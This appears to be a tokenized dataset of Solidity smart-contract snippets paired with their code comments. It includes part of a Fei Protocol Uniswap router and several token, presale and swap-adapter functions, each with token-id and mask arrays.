= IUniswapV2Pair(pair); WETH = IWETH(weth); } receive() external payable { assert(msg.sender == address(WETH)); // only accept ETH via fallback from the WETH contract } modifier ensure(uint deadline) { require(deadline >= block.timestamp, 'UniswapSingleEthRouter: EXPIRED'); _; } function _getReserves() internal view returns(uint reservesETH, uint reservesOther, bool isETH0) { (uint reserves0, uint reserves1, ) = PAIR.getReserves(); isETH0 = PAIR.token0() == address(WETH); return isETH0 ? (reserves0, reserves1, isETH0) : (reserves1, reserves0, isETH0); } function swapExactETHForTokens(uint amountOutMin, address to, uint deadline) public payable override ensure(deadline) returns (uint amountOut) { (uint reservesETH, uint reservesOther, bool isETH0) = _getReserves(); uint amountIn = msg.value; amountOut = UniswapV2Library.getAmountOut(amountIn, reservesETH, reservesOther); require(amountOut >= amountOutMin, 'UniswapSingleEthRouter: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).deposit{value: amountIn}(); assert(IWETH(WETH).transfer(address(PAIR), amountIn)); (uint amount0Out, uint amount1Out) = isETH0 ? (uint(0), amountOut) : (amountOut, uint(0)); PAIR.swap(amount0Out, amount1Out, to, new bytes(0)); } function swapExactTokensForETH(uint amountIn, uint amountOutMin, address to, uint deadline) public override ensure(deadline) returns (uint amountOut) { (uint reservesETH, uint reservesOther, bool isETH0) = _getReserves(); amountOut = UniswapV2Library.getAmountOut(amountIn, reservesOther, reservesETH); require(amountOut >= amountOutMin, 'UniswapSingleEthRouter: INSUFFICIENT_OUTPUT_AMOUNT'); address token = isETH0 ? PAIR.token1() : PAIR.token0(); TransferHelper.safeTransferFrom( token, msg.sender, address(PAIR), amountIn ); (uint amount0Out, uint amount1Out) = isETH0 ? (amountOut, uint(0)) : (uint(0), amountOut); PAIR.swap(amount0Out, amount1Out, address(this), new bytes(0)); IWETH(WETH).withdraw(amountOut); TransferHelper.safeTransferETH(to, amountOut); } } // File contracts/fei-protocol/router/IFeiRouter.sol pragma solidity ^0.6.0; /// @title A Uniswap Router for FEI/ETH swaps /// @author Fei Protocol interface IFeiRouter { // ----------- state changing api ----------- /// @notice buy FEI for ETH with some protections /// @param minReward minimum mint reward for purchasing /// @param amountOutMin minimum FEI received /// @param to address to send FEI /// @param deadline block timestamp after which trade is invalid function buyFei( uint minReward, uint amountOutMin, address to, uint deadline ) external payable returns(uint amountOut); /// @notice sell FEI for ETH with some protections /// @param maxPenalty maximum fei burn for purchasing /// @param amountIn amount of FEI to sell /// @param amountOutMin minimum ETH received /// @param to address to send ETH /// @param deadline block timestamp after which trade is invalid function sellFei( uint maxPenalty, uint amountIn, uint amountOutMin, address to, uint deadline ) external returns(uint amountOut); } // File contracts/fei-protocol/router/FeiRouter.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract FeiRouter is UniswapSingleEthRouter, IFeiRouter { IUniswapIncentive public immutable INCENTIVE; constructor( address pair, address weth, address incentive ) public UniswapSingleEthRouter(pair, weth) { INCENTIVE = IUniswapIncentive(incentive); } function buyFei( uint minReward, uint amountOutMin, address to, uint deadline ) external payable override returns(uint amountOut) { IOracleRef(address(INCENTIVE)).updateOracle(); uint reward = 0; if (!INCENTIVE.isExemptAddress(to)) { (reward,,,) = INCENTIVE.getBuyIncentive(amountOutMin); } require(reward >= minReward, "FeiRouter: Not enough reward"); return swapExactETHForTokens(amountOutMin, to, deadline); } function sellFei( uint maxPenalty, uint amountIn, uint amountOutMin, address to, uint deadline ) external override returns(uint amountOut) { IOracleRef(address(INCENTIVE)).updateOracle(); uint penalty = 0; if (!INCENTIVE.isExemptAddress(to)) { (penalty,,) = INCENTIVE.getSellPenalty(amountIn); } require(penalty <= maxPenalty, "FeiRouter: Penalty too high"); return swapExactTokensForETH(amountIn, amountOutMin, to, deadline); } } // File contracts/fei-protocol/orchestration/RouterOrchestrator.sol pragma solidity ^0.6.0; contract RouterOrchestrator is Ownable { function init( address pair, address weth, address incentive ) public onlyOwner returns(address ethRouter) { ethRouter = address(new FeiRouter(pair, weth, incentive )); return ethRouter; } function detonate() public onlyOwner { selfdestruct(payable(owner())); } } // File contracts/fei-protocol/flat.sol // File contracts/fei-protocol/Migrations.sol // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; contract Migrations { address public owner = msg.sender; uint public last_completed_migration; modifier restricted() { require( msg.sender == owner, "This function is restricted to the contract's owner" ); _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } }
* @notice Change the minter address @param minter_ The address of the new minter/
function setMinter(address minter_) external { require(msg.sender == minter, "Tribe::setMinter: only the minter can change the minter address"); emit MinterChanged(minter, minter_); minter = minter_; }
14,088,372
[ 1, 3043, 326, 1131, 387, 1758, 225, 1131, 387, 67, 1021, 1758, 434, 326, 394, 1131, 387, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 15430, 2761, 12, 2867, 1131, 387, 67, 13, 3903, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 1131, 387, 16, 315, 1070, 495, 73, 2866, 542, 49, 2761, 30, 1338, 326, 1131, 387, 848, 2549, 326, 1131, 387, 1758, 8863, 203, 3639, 3626, 490, 2761, 5033, 12, 1154, 387, 16, 1131, 387, 67, 1769, 203, 3639, 1131, 387, 273, 1131, 387, 67, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x71cd3572a40E82eaaa5d347bD351e3d3C1366aD5/sources/SMCRHIMagnesita.sol
não sei se precisa
revert("Decision not boolean");
15,677,215
[ 1, 82, 132, 101, 83, 695, 77, 695, 13382, 291, 69, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5411, 15226, 2932, 15861, 486, 1250, 8863, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xa09D896D5694DDC2278A75B74eB2b280e4F89ef6/sources/Kachow.sol
2% max transaction at launch
maxTransaction = 1_900_000 * 1e18;
4,126,434
[ 1, 22, 9, 943, 2492, 622, 8037, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 943, 3342, 273, 404, 67, 29, 713, 67, 3784, 380, 404, 73, 2643, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xC8aE7e42e834bc11c906d01726e55571a0620158/sources/contracts/modules/FixedPriceSignatureMinter.sol
cache the local group for efficiency
ticketGroup = _claimsBitmaps[edition][mintId][ticketGroupIdx];
5,010,184
[ 1, 2493, 326, 1191, 1041, 364, 30325, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 9322, 1114, 273, 389, 28979, 5775, 10711, 63, 329, 608, 6362, 81, 474, 548, 6362, 16282, 1114, 4223, 15533, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/97/0xC2b67FF432258a82a11f5a8916ACd0A1284F8332/sources/project_/contracts/presale-contracts-2/Presale.sol
save token balance of the contract
tokenBalance[address(this)] = totalPresaleToken;
5,032,109
[ 1, 5688, 1147, 11013, 434, 326, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 1147, 13937, 63, 2867, 12, 2211, 25887, 273, 2078, 12236, 5349, 1345, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/42220/0x574f683a3983AF2C386cc073E93efAE7fE2B9eb3/sources/contracts/UniswapLiquiditySwapAdapter.sol
* @dev Swaps an exact `amountToSwap` of an asset to another @param assetToSwapFromPrice Origin asset to get price @param assetToSwapToPrice Destination asset to get pricce @param assetToSwapFrom Origin asset @param assetToSwapTo Destination asset @param amountToSwap Exact amount of `assetToSwapFrom` to be swapped @param minAmountOut the min amount of `assetToSwapTo` to be received from the swap @param aTokenExist is a token exist in path @return the amount received from the swap/ Approves the transfer for the swap. Approves for 0 first to comply with tokens that implement the anti frontrunning approval fix.
function _swapExactTokensForTokens( address assetToSwapFromPrice, address assetToSwapToPrice, address assetToSwapFrom, address assetToSwapTo, uint256 amountToSwap, uint256 minAmountOut, bool useEthPath, bool aTokenExist ) internal returns (uint256) { uint256 fromAssetDecimals = _getDecimals(assetToSwapFromPrice); uint256 toAssetDecimals = _getDecimals(assetToSwapToPrice); uint256 fromAssetPrice = _getPrice(assetToSwapFromPrice); uint256 toAssetPrice = _getPrice(assetToSwapToPrice); uint256 expectedMinAmountOut = amountToSwap .mul(fromAssetPrice.mul(10**toAssetDecimals)) .div(toAssetPrice.mul(10**fromAssetDecimals)) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(MAX_SLIPPAGE_PERCENT)); require(expectedMinAmountOut < minAmountOut, 'minAmountOut exceed max slippage'); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), 0); IERC20(assetToSwapFrom).safeApprove(address(UNISWAP_ROUTER), amountToSwap); address[] memory path; if (useEthPath) { path = new address[](3); path[0] = assetToSwapFrom; path[1] = WETH_ADDRESS; path[2] = assetToSwapTo; path = new address[](2); path[0] = assetToSwapFrom; path[1] = assetToSwapTo; } if (aTokenExist) { uint256 balanceBefore = IERC20(path[path.length - 1]).balanceOf(address(this)); UNISWAP_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens( amountToSwap, minAmountOut, path, address(this), block.timestamp ); uint256 swappedAmount = IERC20(path[path.length - 1]).balanceOf(address(this)) - balanceBefore; emit Swapped(assetToSwapFrom, assetToSwapTo, amountToSwap, swappedAmount); return swappedAmount; uint256[] memory amounts = UNISWAP_ROUTER.swapExactTokensForTokens( amountToSwap, minAmountOut, path, address(this), block.timestamp ); emit Swapped(assetToSwapFrom, assetToSwapTo, amounts[0], amounts[amounts.length - 1]); return amounts[amounts.length - 1]; } }
16,326,891
[ 1, 6050, 6679, 392, 5565, 1375, 8949, 774, 12521, 68, 434, 392, 3310, 358, 4042, 225, 3310, 774, 12521, 1265, 5147, 18040, 3310, 358, 336, 6205, 225, 3310, 774, 12521, 774, 5147, 10691, 3310, 358, 336, 846, 335, 311, 225, 3310, 774, 12521, 1265, 18040, 3310, 225, 3310, 774, 12521, 774, 10691, 3310, 225, 3844, 774, 12521, 30794, 3844, 434, 1375, 9406, 774, 12521, 1265, 68, 358, 506, 7720, 1845, 225, 1131, 6275, 1182, 326, 1131, 3844, 434, 1375, 9406, 774, 12521, 774, 68, 358, 506, 5079, 628, 326, 7720, 225, 279, 1345, 4786, 353, 279, 1147, 1005, 316, 589, 327, 326, 3844, 5079, 628, 326, 7720, 19, 1716, 685, 3324, 326, 7412, 364, 326, 7720, 18, 1716, 685, 3324, 364, 374, 1122, 358, 532, 1283, 598, 2430, 716, 2348, 326, 30959, 284, 1949, 313, 318, 2093, 23556, 2917, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 389, 22270, 14332, 5157, 1290, 5157, 12, 203, 565, 1758, 3310, 774, 12521, 1265, 5147, 16, 203, 565, 1758, 3310, 774, 12521, 774, 5147, 16, 203, 565, 1758, 3310, 774, 12521, 1265, 16, 203, 565, 1758, 3310, 774, 12521, 774, 16, 203, 565, 2254, 5034, 3844, 774, 12521, 16, 203, 565, 2254, 5034, 1131, 6275, 1182, 16, 203, 565, 1426, 999, 41, 451, 743, 16, 203, 565, 1426, 279, 1345, 4786, 203, 225, 262, 2713, 1135, 261, 11890, 5034, 13, 288, 203, 565, 2254, 5034, 628, 6672, 31809, 273, 389, 588, 31809, 12, 9406, 774, 12521, 1265, 5147, 1769, 203, 565, 2254, 5034, 358, 6672, 31809, 273, 389, 588, 31809, 12, 9406, 774, 12521, 774, 5147, 1769, 203, 203, 565, 2254, 5034, 628, 6672, 5147, 273, 389, 588, 5147, 12, 9406, 774, 12521, 1265, 5147, 1769, 203, 565, 2254, 5034, 358, 6672, 5147, 273, 389, 588, 5147, 12, 9406, 774, 12521, 774, 5147, 1769, 203, 203, 565, 2254, 5034, 2665, 2930, 6275, 1182, 273, 203, 1377, 3844, 774, 12521, 203, 3639, 263, 16411, 12, 2080, 6672, 5147, 18, 16411, 12, 2163, 636, 869, 6672, 31809, 3719, 203, 3639, 263, 2892, 12, 869, 6672, 5147, 18, 16411, 12, 2163, 636, 2080, 6672, 31809, 3719, 203, 3639, 263, 8849, 27860, 12, 16397, 10477, 18, 3194, 19666, 2833, 67, 26835, 18, 1717, 12, 6694, 67, 55, 2053, 6584, 2833, 67, 3194, 19666, 10019, 203, 203, 565, 2583, 12, 3825, 2930, 6275, 1182, 411, 1131, 6275, 1182, 16, 296, 1154, 6275, 1182, 9943, 943, 272, 3169, 2 ]
./full_match/1/0x70C65C7b4B52A61d9FE6eE46Be0a3D1f23B53450/sources/contracts/TokenUtils.sol
* @notice get token shares from amount @param token erc20 token interface @param total current total shares @param amount balance of tokens/
) internal view returns (uint256) { if (total == 0) return 0; uint256 balance = token.balanceOf(address(this)); if (total < balance * FLOOR_SHARES_PER_TOKEN) return amount * FLOOR_SHARES_PER_TOKEN; return (total * amount) / balance; }
3,072,807
[ 1, 588, 1147, 24123, 628, 3844, 225, 1147, 6445, 71, 3462, 1147, 1560, 225, 2078, 783, 2078, 24123, 225, 3844, 11013, 434, 2430, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
